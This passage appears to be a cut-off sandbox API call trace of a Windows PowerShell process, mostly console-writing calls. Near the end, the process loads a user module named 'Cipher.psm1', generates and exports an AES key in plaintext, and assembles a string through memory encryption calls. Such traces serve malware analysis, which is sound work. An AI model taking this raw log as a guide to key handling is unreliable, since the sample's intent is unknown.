lpReserved=0x0 | out: lpBuffer=0x697bff4*, lpNumberOfCharsWritten=0x99ae3a4*=0x5e) returned 1 [0134.953] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0134.954] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0134.957] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0134.958] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0134.958] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0134.962] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0134.962] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0134.962] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0134.965] GetConsoleOutputCP () returned 0x1b5 [0134.965] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.965] GetConsoleOutputCP () returned 0x1b5 [0134.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.966] GetConsoleOutputCP () returned 0x1b5 [0134.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.966] GetConsoleOutputCP () returned 0x1b5 [0134.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.966] GetConsoleOutputCP () returned 0x1b5 [0134.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.967] GetConsoleOutputCP () returned 0x1b5 [0134.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.967] GetConsoleOutputCP () returned 0x1b5 [0134.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.967] GetConsoleOutputCP () returned 0x1b5 [0134.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.968] GetConsoleOutputCP () returned 0x1b5 [0134.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.968] GetConsoleOutputCP () returned 0x1b5 [0134.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.968] GetConsoleOutputCP () returned 0x1b5 [0134.969] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.969] GetConsoleOutputCP () returned 0x1b5 [0134.969] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.969] GetConsoleOutputCP () returned 0x1b5 [0134.969] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.969] GetConsoleOutputCP () returned 0x1b5 [0134.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.970] GetConsoleOutputCP () returned 0x1b5 [0134.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.970] GetConsoleOutputCP () returned 0x1b5 [0134.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.970] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0134.971] GetConsoleOutputCP () returned 0x1b5 [0134.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0134.971] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.972] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697cf44*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x697cf44*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0134.972] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.972] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0134.976] GetConsoleOutputCP () returned 0x1b5 [0134.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.977] GetConsoleOutputCP () returned 0x1b5 [0134.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.977] GetConsoleOutputCP () returned 0x1b5 [0134.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.977] GetConsoleOutputCP () returned 0x1b5 [0134.977] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.978] GetConsoleOutputCP () returned 0x1b5 [0134.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.978] GetConsoleOutputCP () returned 0x1b5 [0134.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.978] GetConsoleOutputCP () returned 0x1b5 [0134.978] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.978] GetConsoleOutputCP () returned 0x1b5 [0134.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.979] GetConsoleOutputCP () returned 0x1b5 [0134.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.979] GetConsoleOutputCP () returned 0x1b5 [0134.979] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.979] GetConsoleOutputCP () returned 0x1b5 [0134.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.980] GetConsoleOutputCP () returned 0x1b5 [0134.980] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.980] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0134.980] GetConsoleOutputCP () returned 0x1b5 [0134.981] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0134.981] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.981] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697d99c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x697d99c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0134.981] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.982] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0134.985] GetConsoleOutputCP () returned 0x1b5 [0134.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.985] GetConsoleOutputCP () returned 0x1b5 [0134.985] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.985] GetConsoleOutputCP () returned 0x1b5 [0134.986] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.986] GetConsoleOutputCP () returned 0x1b5 [0134.986] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.986] GetConsoleOutputCP () returned 0x1b5 [0134.986] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.986] GetConsoleOutputCP () returned 0x1b5 [0134.987] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.987] GetConsoleOutputCP () returned 0x1b5 [0134.987] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.987] GetConsoleOutputCP () returned 0x1b5 [0134.987] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.987] GetConsoleOutputCP () returned 0x1b5 [0134.988] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.988] GetConsoleOutputCP () returned 0x1b5 [0134.988] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.988] GetConsoleOutputCP () returned 0x1b5 [0134.988] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.988] GetConsoleOutputCP () returned 0x1b5 [0134.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.989] GetConsoleOutputCP () returned 0x1b5 [0134.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.989] GetConsoleOutputCP () returned 0x1b5 [0134.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.989] GetConsoleOutputCP () returned 0x1b5 [0134.990] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.990] GetConsoleOutputCP () returned 0x1b5 [0134.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.991] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.991] GetConsoleOutputCP () returned 0x1b5 [0134.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.991] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.992] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697f798*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x697f798*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.992] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.992] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.996] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.996] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.996] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.996] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.997] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.997] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.997] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.997] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.997] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.998] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0134.998] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0134.998] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.998] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.998] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6989364, pdwDataLen=0x99ae894 | out: pbData=0x6989364*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.998] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x92f4\x698\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667") returned 0x0 [0134.999] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.999] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.999] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.999] SysStringLen (param_1="") returned 0x8 [0134.999] SysStringLen (param_1="6") returned 0x8 [0134.999] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.999] SysStringLen (param_1="\xe607\x2e96\x89f2\x7493\xb21\x1f9a\xa42\x5d3b") returned 0x8 [0134.999] SysStringLen (param_1="\xe607\x2e96\x89f2\x7493\xb21\x1f9a\xa42\x5d3b") returned 0x8 [0134.999] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.999] SysStringLen (param_1="6G") returned 0x8 [0134.999] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.999] SysStringLen (param_1="\x2040\x11e9\x2496\x3759\x7f80\x4fd5\xdcba\x3e1b") returned 0x8 [0134.999] SysStringLen (param_1="\x2040\x11e9\x2496\x3759\x7f80\x4fd5\xdcba\x3e1b") returned 0x8 [0134.999] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.999] SysStringLen (param_1="6GX") returned 0x8 [0134.999] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.999] SysStringLen (param_1="\x3e11\xb147\xa229\x4f86\xd24d\x7af3\x20d\x9627") returned 0x8 [0134.999] SysStringLen (param_1="\x3e11\xb147\xa229\x4f86\xd24d\x7af3\x20d\x9627") returned 0x8 [0134.999] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="6GX+") returned 0x8 [0135.000] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="\xd9bc\x7c31\xa103\x6dc3\x2698\xa14e\x6db4\xae06") returned 0x8 [0135.000] SysStringLen (param_1="\xd9bc\x7c31\xa103\x6dc3\x2698\xa14e\x6db4\xae06") returned 0x8 [0135.000] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="6GX+7") returned 0x8 [0135.000] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="\x159d\x241d\x8abb\x3499\x2ff4\xf522\xe05\x29ef") returned 0x8 [0135.000] SysStringLen (param_1="\x159d\x241d\x8abb\x3499\x2ff4\xf522\xe05\x29ef") returned 0x8 [0135.000] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="6GX+7+") returned 0x8 [0135.000] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="ꇟ瑹绩ꬣᡪ埯렢陻") returned 0x8 [0135.000] SysStringLen (param_1="ꇟ瑹绩ꬣᡪ埯렢陻") returned 0x8 [0135.000] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="6GX+7+Z") returned 0x8 [0135.000] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="\xa81f\x9f81\x728a\x13fb\x1d8b\xd543\x9a2d\x5f24") returned 0x8 [0135.000] SysStringLen (param_1="\xa81f\x9f81\x728a\x13fb\x1d8b\xd543\x9a2d\x5f24") returned 0x8 [0135.000] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.000] SysStringLen (param_1="6GX+7+Zb") returned 0x8 [0135.000] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.001] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb") returned 0x8 [0135.001] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb") returned 0x8 [0135.001] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb") returned 0x8 [0135.001] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb") returned 0x10 [0135.001] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.001] SysStringLen (param_1="6GX+7+ZbDꡍ覛渷뼯ⶮ䢯‸") returned 0x10 [0135.001] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.001] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\xf4ff\xa520\x58d4\x1376\xc851\x7974\xb572\x6047") returned 0x10 [0135.001] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\xf4ff\xa520\x58d4\x1376\xc851\x7974\xb572\x6047") returned 0x10 [0135.001] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.001] SysStringLen (param_1="6GX+7+ZbDl覛渷뼯ⶮ䢯‸") returned 0x10 [0135.001] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) 